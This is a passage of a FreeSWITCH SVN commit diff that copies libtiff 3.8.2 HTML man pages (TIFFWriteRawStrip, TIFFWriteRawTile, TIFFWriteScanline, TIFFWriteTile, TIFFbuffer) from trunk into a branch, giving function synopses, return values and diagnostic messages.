+<i>buf</i> and <b>append</b> the result to the end of the
+specified tile. Note that the value of <i>tile</i> is a
+&lsquo;&lsquo;raw tile number.&rsquo;&rsquo; That is, the
+caller must take into account whether or not the data are
+organized in separate places (<i>PlanarConfiguration</i>=2).
+<i>TIFFComputeTile</i> automatically does this when
+converting an (x,y,z,sample) coordinate quadruple to a tile
+number.</big></p>
+</td>
+</table>
+<a name="NOTES"></a>
+<h2>NOTES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>The library writes encoded data using the native
+machine byte order. Correctly implemented</big> TIFF
+<big>readers are expected to do any necessary byte-swapping
+to correctly process image data with BitsPerSample greater
+than 8.</big></p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>&minus;1 is returned if an error was encountered.
+Otherwise, the value of <i>size</i> is returned.</big></p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>All error messages are directed to the
+<b>TIFFError</b>(3TIFF) routine.</big></p>
+<!-- INDENTATION -->
+<p><big><b>%s: File not open for writing</b>. The file was
+opened for reading, not writing.</big></p>
+<!-- INDENTATION -->
+<p><big><b>Can not write tiles to a stripped image</b>. The
+image is assumed to be organized in strips because neither
+of the <i>TileWidth</i> or <i>TileLength</i> tags have been
+set with <b>TIFFSetField</b>(3TIFF).</big></p>
+<!-- INDENTATION -->
+<p><big><b>%s: Must set &quot;ImageWidth&quot; before
+writing data</b>. The image&rsquo;s width has not be set
+before the first write. See <b>TIFFSetField</b>(3TIFF) for
+information on how to do this.</big></p>
+<!-- INDENTATION -->
+<p><big><b>%s: Must set &quot;PlanarConfiguration&quot;
+before writing data</b>. The organization of data has not be
+defined before the first write. See
+<b>TIFFSetField</b>(3TIFF) for information on how to do
+this.</big></p>
+<!-- INDENTATION -->
+<p><big><b>%s: No space for tile arrays&quot;</b>. There was
+not enough space for the arrays that hold tile offsets and
+byte counts.</big></p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>TIFFOpen</b>(3TIFF), <b>TIFFWriteTile</b>(3TIFF),
+<b>TIFFWriteRawTile</b>(3TIFF),
+<b>libtiff</b>(3TIFF)</big></p>
+<!-- INDENTATION -->
+<p><big>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></big></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteRawStrip.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteRawStrip.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFWriteRawStrip.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteRawStrip.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteRawStrip.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,144 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:11 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFWriteRawstrip</title>
+</head>
+<body>
+
+<h1 align=center>TIFFWriteRawstrip</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#NOTES">NOTES</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFWriteRawStrip &minus; write a strip of raw data to an
+open <small>TIFF</small> file</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>tsize_t TIFFWriteRawStrip(TIFF *</b><i>tif</i><b>,
+tstrip_t</b> <i>strip</i><b>, tdata_t</b> <i>buf</i><b>,
+tsize_t</b> <i>size</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Append <i>size</i> bytes of raw data to the specified
+strip.</p>
+</td>
+</table>
+<a name="NOTES"></a>
+<h2>NOTES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The strip number must be valid according to the current
+settings of the <i>ImageLength</i> and <i>RowsPerStrip</i>
+tags. An image may be dynamically grown by increasing the
+value of <i>ImageLength</i> prior to each call to
+<i>TIFFWriteRawStrip</i>.</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>&minus;1 is returned if an error occurred. Otherwise, the
+value of <i>size</i> is returned.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All error messages are directed to the
+<b>TIFFError</b>(3TIFF) routine.</p>
+<!-- INDENTATION -->
+<p><b>%s: File not open for writing</b>. The file was opened
+for reading, not writing.</p>
+<!-- INDENTATION -->
+<p><b>Can not write scanlines to a tiled image</b>. The
+image is assumed to be organized in tiles because the
+<i>TileWidth</i> and <i>TileLength</i> tags have been set
+with <b>TIFFSetField</b>(3TIFF).</p>
+<!-- INDENTATION -->
+<p><b>%s: Must set &quot;ImageWidth&quot; before writing
+data</b>. The image&rsquo;s width has not be set before the
+first write. See <b>TIFFSetField</b>(3TIFF) for information
+on how to do this.</p>
+<!-- INDENTATION -->
+<p><b>%s: Must set &quot;PlanarConfiguration&quot; before
+writing data</b>. The organization of data has not be
+defined before the first write. See
+<b>TIFFSetField</b>(3TIFF) for information on how to do
+this.</p>
+<!-- INDENTATION -->
+<p><b>%s: No space for strip arrays&quot;</b>. There was not
+enough space for the arrays that hold strip offsets and byte
+counts.</p>
+<!-- INDENTATION -->
+<p><b>%s: Strip %d out of range, max %d</b>. The specified
+strip is not a valid strip according to the currently
+specified image dimensions.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFOpen</b>(3TIFF),
+<b>TIFFWriteEncodedStrip</b>(3TIFF),
+<b>TIFFWriteScanline</b>(3TIFF), <b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteRawTile.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteRawTile.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFWriteRawTile.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteRawTile.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteRawTile.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,128 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:11 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFWriteRawtile</title>
+</head>
+<body>
+
+<h1 align=center>TIFFWriteRawtile</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFWriteRawTile &minus; write a tile of raw data to an
+open <small>TIFF</small> file</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>tsize_t TIFFWriteRawTile(TIFF *</b><i>tif</i><b>,
+ttile_t</b> <i>tile</i><b>, tdata_t</b> <i>buf</i><b>,
+tsize_t</b> <i>size</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Append <i>size</i> bytes of raw data to the specified
+tile.</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>&minus;1 is returned if an error occurred. Otherwise, the
+value of <i>size</i> is returned.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All error messages are directed to the
+<b>TIFFError</b>(3TIFF) routine.</p>
+<!-- INDENTATION -->
+<p><b>%s: File not open for writing</b>. The file was opened
+for reading, not writing.</p>
+<!-- INDENTATION -->
+<p><b>Can not write tiles to a stripped image</b>. The image
+is assumed to be organized in strips because neither of the
+<i>TileWidth</i> or <i>TileLength</i> tags have been set
+with <b>TIFFSetField</b>(3TIFF).</p>
+<!-- INDENTATION -->
+<p><b>%s: Must set &quot;ImageWidth&quot; before writing
+data</b>. The image&rsquo;s width has not be set before the
+first write. See <b>TIFFSetField</b>(3TIFF) for information
+on how to do this.</p>
+<!-- INDENTATION -->
+<p><b>%s: Must set &quot;PlanarConfiguration&quot; before
+writing data</b>. The organization of data has not be
+defined before the first write. See
+<b>TIFFSetField</b>(3TIFF) for information on how to do
+this.</p>
+<!-- INDENTATION -->
+<p><b>%s: No space for tile arrays&quot;</b>. There was not
+enough space for the arrays that hold tile offsets and byte
+counts.</p>
+<!-- INDENTATION -->
+<p><b>%s: Specified tile %d out of range, max %d</b>. The
+specified tile is not valid according to the currently
+specified image dimensions.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFOpen</b>(3TIFF),
+<b>TIFFWriteEncodedTile</b>(3TIFF),
+<b>TIFFWriteScanline</b>(3TIFF), <b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteScanline.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteScanline.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFWriteScanline.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteScanline.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteScanline.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,206 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:11 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFWriteScanline</title>
+</head>
+<body>
+
+<h1 align=center>TIFFWriteScanline</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#NOTES">NOTES</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#BUGS">BUGS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFWriteScanline &minus; write a scanline to an open
+<small>TIFF</small> file</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>int TIFFWriteScanline(TIFF *</b><i>tif</i><b>,
+tdata_t</b> <i>buf</i><b>, uint32</b> <i>row</i><b>,
+tsample_t</b> <i>sample</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Write data to a file at the specified row. The
+<i>sample</i> parameter is used only if data are organized
+in separate planes (<i>PlanarConfiguration</i>=2). The data
+are assumed to be uncompressed and in the native bit- and
+byte-order of the host machine. The data written to the file
+is compressed according to the compression scheme of the
+current <small>TIFF</small> directory (see further below).
+If the current scanline is past the end of the current
+subfile, the <i>ImageLength</i> field is automatically
+increased to include the scanline (except for
+<i>PlanarConfiguration</i>=2, where the <i>ImageLength</i>
+cannot be changed once the first data are written). If the
+<i>ImageLength</i> is increased, the <i>StripOffsets</i> and
+<i>StripByteCounts</i> fields are similarly enlarged to
+reflect data written past the previous end of image.</p>
+</td>
+</table>
+<a name="NOTES"></a>
+<h2>NOTES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The library writes encoded data using the native machine
+byte order. Correctly implemented <small>TIFF</small>
+readers are expected to do any necessary byte-swapping to
+correctly process image data with BitsPerSample greater than
+8. The library attempts to hide bit-ordering differences
+between the image and the native machine by converting data
+from the native machine order.</p>
+<!-- INDENTATION -->
+<p>In C++ the <i>sample</i> parameter defaults to 0.</p>
+<!-- INDENTATION -->
+<p>Once data are written to a file for the current
+directory, the values of certain tags may not be altered;
+see <i>TIFFSetField</i>(3TIFF) for more information.</p>
+<!-- INDENTATION -->
+<p>It is not possible to write scanlines to a file that uses
+a tiled organization. The routine <i>TIFFIsTiled</i> can be
+used to determine if the file is organized as tiles or
+strips.</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFWriteScanline</i> returns &minus;1 if it
+immediately detects an error and 1 for a successful
+write.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All error messages are directed to the
+<i>TIFFError</i>(3TIFF) routine.</p>
+<!-- INDENTATION -->
+<p><b>%s: File not open for writing .</b> The file was
+opened for reading, not writing.</p>
+<!-- INDENTATION -->
+<p><b>Can not write scanlines to a tiled image</b>. An
+attempt was made to write a scanline to a tiled image. The
+image is assumed to be organized in tiles because the
+<i>TileWidth</i> and <i>TileLength</i> tags have been set
+with <i>TIFFSetField</i>(3TIFF).</p>
+<!-- INDENTATION -->
+<p><b>Compression algorithm does not support random
+access</b>. Data was written in a non-sequential order to a
+file that uses a compression algorithm and that has
+<i>RowsPerStrip</i> greater than one. That is, data in the
+image is to be stored in a compressed form, and with
+multiple rows packed into a strip. In this case, the library
+does not support random access to the data. The data should
+either be written as entire strips, sequentially by rows, or
+the value of <i>RowsPerStrip</i> should be set to one.</p>
+<!-- INDENTATION -->
+<p><b>%s: Must set &quot;ImageWidth&quot; before writing
+data</b>. The image&rsquo;s width has not be set before the
+first write. See <b>TIFFSetField</b>(3TIFF) for information
+on how to do this.</p>
+<!-- INDENTATION -->
+<p><b>%s: Must set &quot;PlanarConfiguration&quot; before
+writing data</b>. The organization of data has not be
+defined before the first write. See
+<b>TIFFSetField</b>(3TIFF) for information on how to do
+this.</p>
+<!-- INDENTATION -->
+<p><b>Can not change &quot;ImageLength&quot; when using
+separate planes</b>. Separate image planes are being used
+(<i>PlanarConfiguration</i>=2), but the number of rows has
+not been specified before the first write. The library
+supports the dynamic growth of an image only when data are
+organized in a contiguous manner
+(<i>PlanarConfiguration</i>=1).</p>
+<!-- INDENTATION -->
+<p><b>%d: Sample out of range, max %d</b>. The <i>sample</i>
+parameter was greater than the value of the SamplesPerPixel
+tag.</p>
+<!-- INDENTATION -->
+<p><b>%s: No space for strip arrays .</b> There was not
+enough space for the arrays that hold strip offsets and byte
+counts.</p>
+</td>
+</table>
+<a name="BUGS"></a>
+<h2>BUGS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Writing subsampled YCbCR data does not work correctly
+because, for <i>PlanarConfiguration</i>=2 the size of a
+scanline is not calculated on a per-sample basis, and for
+<i>PlanarConfiguration</i>=1 the library does not pack the
+block-interleaved samples.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFOpen</b>(3TIFF),
+<b>TIFFWriteEncodedStrip</b>(3TIFF),
+<b>TIFFWriteRawStrip</b>(3TIFF), <b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteTile.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteTile.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFWriteTile.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteTile.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFWriteTile.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,115 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:11 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFWriteTile</title>
+</head>
+<body>
+
+<h1 align=center>TIFFWriteTile</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFWriteTile &minus; encode and write a tile of data to
+an open <small>TIFF</small> file</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>tsize_t TIFFWriteTile(TIFF *</b><i>tif</i><b>,
+tdata_t</b> <i>buf</i><b>, uint32</b> <i>x</i><b>,
+uint32</b> <i>y</i><b>, uint32</b> <i>z</i><b>,
+tsample_t</b> <i>sample</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Write the data for the tile <i>containing</i> the
+specified coordinates. The data in <i>buf</i> are is
+(potentially) compressed, and written to the indicated file,
+normally being appended to the end of the file. The buffer
+must be contain an entire tile of data. Applications should
+call the routine <i>TIFFTileSize</i> to find out the size
+(in bytes) of a tile buffer. The <i>x</i> and <i>y</i>
+parameters are always used by <i>TIFFWriteTile</i>. The
+<i>z</i> parameter is used if the image is deeper than 1
+slice (<i>ImageDepth</i>&gt;1). The <i>sample</i> parameter
+is used only if data are organized in separate planes
+(<i>PlanarConfiguration</i>=2).</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFWriteTile</i> returns &minus;1 if it detects an
+error; otherwise the number of bytes in the tile is
+returned.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All error messages are directed to the
+<b>TIFFError</b>(3TIFF) routine.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFCheckTile</b>(3TIFF),
+<b>TIFFComputeTile</b>(3TIFF), <b>TIFFOpen</b>(3TIFF),
+<b>TIFFReadTile</b>(3TIFF), <b>TIFFWriteScanline</b>(3TIFF),
+<b>TIFFWriteEncodedTile</b>(3TIFF),
+<b>TIFFWriteRawTile</b>(3TIFF), <b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFbuffer.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFbuffer.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFbuffer.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFbuffer.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFbuffer.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,116 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:08 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFBUFFER</title>
+</head>
+<body>
+
+<h1 align=center>TIFFBUFFER</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFReadBufferSetup, TIFFWriteBufferSetup &minus; I/O
+buffering control routines</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<pre><b>#include &lt;tiffio.h&gt;
+
+int TIFFReadBufferSetup(TIFF *</b><i>tif</i><b>, tdata_t</b> <i>buffer</i><b>, tsize_t</b> <i>size</i><b>);
+int TIFFWriteBufferSetup(TIFF *</b><i>tif</i><b>, tdata_t</b> <i>buffer</i><b>, tsize_t</b> <i>size</i><b>);
+</b></pre>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The following routines are provided for client-control of
+the I/O buffers used by the library. Applications need never
+use these routines; they are provided only for
+&lsquo;&lsquo;intelligent clients&rsquo;&rsquo; that wish to
+optimize memory usage and/or eliminate potential copy
+operations that can occur when working with images that have
+data stored without compression.</p>
+<!-- INDENTATION -->
+<p><i>TIFFReadBufferSetup</i> sets up the data buffer used
+to read raw (encoded) data from a file. If the specified
+pointer is <small>NULL</small> (zero), then a buffer of the
+appropriate size is allocated. Otherwise the caller must
+guarantee that the buffer is large enough to hold any
+individual strip of raw data. <i>TIFFReadBufferSetup</i>
+returns a non-zero value if the setup was successful and
+zero otherwise.</p>
+<!-- INDENTATION -->
+<p><i>TIFFWriteBufferSetup</i> sets up the data buffer used
+to write raw (encoded) data to a file. If the specified
+<i>size</i> is &minus;1 then the buffer size is selected to
+hold a complete tile or strip, or at least 8 kilobytes,
+whichever is greater. If the specified <i>buffer</i> is
+<small>NULL</small> (zero), then a buffer of the appropriate
+size is dynamically allocated. <i>TIFFWriteBufferSetup</i>
+returns a non-zero value if the setup was successful and
+zero otherwise.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
